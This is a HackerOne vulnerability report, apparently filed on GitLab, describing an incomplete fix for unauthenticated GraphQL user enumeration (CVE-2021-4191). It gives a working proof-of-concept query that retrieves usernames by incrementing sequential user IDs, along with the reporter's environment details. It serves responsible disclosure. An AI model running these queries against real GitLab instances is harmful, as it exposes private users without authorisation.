Unauthenticated user can enumerate instance users (incomplete fix of CVE-2021-4191 in Security Release 14.8.2)
HackerOne report #1494149 by jimeno
on 2022-02-28, assigned to @ankelly
:
Report
Summary
==NOTE==: I know and understand the issue being reported here is marked as Out of Scope. However, I'm linking to the most recent GitLab release notes (a security release) where the team clearly acknowledges this represents a security risk and has intended to fix it.
Thanks mungsul and todb-r7 for reporting this vulnerability through our HackerOne bug bounty program.
GitLab 14.8.2
Critical security release notes says:
Unauthenticated user enumeration on GraphQL API
An issue has been discovered in GitLab CE/EE affecting all versions starting from 13.0 and all versions starting from 14.4 before 14.8. Private GitLab instances with restricted sign-ups may be vulnerable to user enumeration by unauthenticated users through the GraphQL API. This is a medium severity issue (
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3
). It is now mitigated in the latest release and is assigned CVE-2021-4191.Thanks mungsul and todb-r7 for reporting this vulnerability through our HackerOne bug bounty program.
Unfortunately, the patch GitLab made for this (see here) isn't complete and becomes useless given the fact that GitLab global identifiers gid://gitlab/OBJECT/IDENTIFIER
are unique, sequential decimal numbers. This allows unauthenticated attackers to continue enumerating users on private GitLab instances where signup is disabled.
Note for the HackerOne analysts: by reading the hackerone.com/gitlab policy it says username enumeration without any further impact is Out of Scope. However, based on the linked official GitLab security release notes, they seem to have accepted unauthenticated username enumeration as Medium (5.3 score). Please, do not close this as N/A since it's clear GitLab ignored this line on their policy. Of course, I'll be happy to self-close this as N/A if GitLab team confirms this won't be accepted/is considered Out of Scope.
User and project enumeration/path disclosure unless an additional impact can be demonstrated
Steps to reproduce
Setup
Run a 14.8.2 or more recent GitLab instance where public singup is disabled.
Attack
- As an unauthenticated user, browse to the GraphQL console at
https://YOUR-INSTANCE/-/graphql-explorer
. - First, we're going to verify the previously applied (14.8.2) fix works by running the following query:
query x {
users {
edges {
node {
id
}
}
}
}
- Notice how the response confirms a fix was made for the previous report.
{
"data": {
"users": null
},
"errors": [
{
"message": "The resource that you are attempting to access does not exist or you don't have permission to perform this action",
"locations": [
{
"line": 2,
"column": 3
}
],
"path": [
"users"
]
}
]
}
- Run the following query (note GitLab object identifiers follow a sequential order, one just has to increment the object ID by 1 in order to get the next username) and notice usernames can still be enumerated.
query x {
user(id: "gid://gitlab/User/1") {
username
}
}
{
"data": {
"user": {
"username": "root"
}
}
}
Impact
Username enumeration on private instances where public signup is disabled. Exact same impact the CVE you recently issued: CVE-2021-4191.
Examples
N/A.
What is the current bug behavior?
Unauthenticated user can enumerate instance users when public sin up is disabled.
What is the expected correct behavior?
Unauthenticated user can't enumerate instance users when public sin up is disabled.
Relevant logs and/or screenshots
N/A
Output of checks
This bug happens on GitLab.com
Results of GitLab environment info
root@rigel:/# gitlab-rake gitlab:env:info
System information
System:
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 2.7.5p203
Gem Version: 3.1.4
Bundler Version:2.1.4
Rake Version: 13.0.6
Redis Version: 6.2.6
Sidekiq Version:6.4.0
Go Version: unknown
GitLab information
Version: 14.8.2-ee
Revision: 20a7fdf52c9
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 12.7
URL: https://rigel.wiki
HTTP Clone URL: https://rigel.wiki/some-group/some-project.git
SSH Clone URL: git@rigel.wiki:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers: auth0
GitLab Shell
Version: 13.23.2
Repository storage paths:
- default: /var/opt/gitlab/git-data/repositories
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
Username enumeration on private instances where public signup is disabled. Exact same impact the CVE you recently issued: CVE-2022-0549.
Proposal
Fix ideas:
- Require authentication for queries identified as vulnerable to user enumeration in the thread below.
- Restrict Public level visibility by default? That would take care of issues like these wholesale.